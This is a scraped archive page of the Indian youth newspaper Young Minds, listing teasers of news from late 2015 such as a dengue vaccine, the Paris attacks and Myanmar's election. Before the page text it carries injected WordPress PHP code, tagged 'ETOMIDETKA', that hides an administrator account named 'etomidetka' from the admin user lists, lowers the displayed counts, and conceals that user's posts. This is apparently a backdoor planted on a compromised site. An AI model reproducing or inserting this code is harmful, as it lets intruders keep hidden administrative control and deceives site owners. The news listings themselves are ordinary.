//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 52

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 52)
The world’s first dengue fever vaccine

The world’s first dengue fever vaccine

Mexico has approved the use of the world’s first vaccine against dengue fever. The deadliest form of the mosquito-borne disease kills 22,000 people per …

December 10, 2015 | Main News | 0 Comments
As Delhi debates, Beijing acts to check air pollution

As Delhi debates, Beijing acts to check air pollution

While Delhi continues to debate the ‘tough’ anti-pollution measures announced by the city government, China’s capital Beijing on has issued …

December 8, 2015 | Main News | 0 Comments
Mark Zuckerberg to give away 99% of shares

Mark Zuckerberg to give away 99% of shares

Facebook’s Mark Zuckerberg and his wife Priscilla Chan have announced that they will give away 99% of their shares in the company to good causes as they …

December 2, 2015 | Main News | 0 Comments
Zuckerberg, Gates and other tech titans form clean energy investment coalition

Zuckerberg, Gates and other tech titans form clean energy investment coalition

Billionaires Bill Gates, Mark Zuckerberg, Richard Branson and other high-profile entrepreneurs have pledged to spark a “new economic revolution” based …

December 1, 2015 | Main News | 0 Comments
Bill Gates, Ratan Tata, Mukesh Ambani partner govts for breakthrough in clean technology

Bill Gates, Ratan Tata, Mukesh Ambani partner govts for breakthrough in clean technology

Global tech giants Bill Gates, Jack Ma and India’s industrialists Ratan Tata and Mukesh Ambani have announced to join hands with governments from both …

November 30, 2015 | Main News | 0 Comments
2015 likely to be the warmest on record

2015 likely to be the warmest on record

Global average temperatures in 2015 are likely to be the warmest on record, according to the World Meteorological Organisation (WMO). Data until the end of …

November 26, 2015 | Main News | 0 Comments
Pfizer seals $160bn Allergan deal

Pfizer seals $160bn Allergan deal

US drugs giant Pfizer has sealed a deal to buy Botox-maker Allergan for $160bn (£106bn) in what is the biggest pharmaceuticals deal in history. The takeover …

November 24, 2015 | Main News | 0 Comments
Paris attacks: Ringleader killed in raid

Paris attacks: Ringleader killed in raid

The suspected ringleader of the Paris attacks, Abdelhamid Abaaoud, has been killed in a French police raid on 18 Dec. Last week’s gun and suicide bomb …

November 20, 2015 | Main News | 0 Comments
PARIS MASSACRE

PARIS MASSACRE

On 14th Nov., when thousands of Paris residents and tourists were reveling and fans were enjoying a soccer match between France and world champion Germany, …

November 16, 2015 | Main News | 0 Comments
Suu Kyi wins majority in Myanmar

Suu Kyi wins majority in Myanmar

Myanmar opposition party led by Nobel laureate Aung San Suu Kyi has won a majority in Myanmar’s historic polls,ending decades of military-backed rule. …

November 13, 2015 | Main News | 0 Comments
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds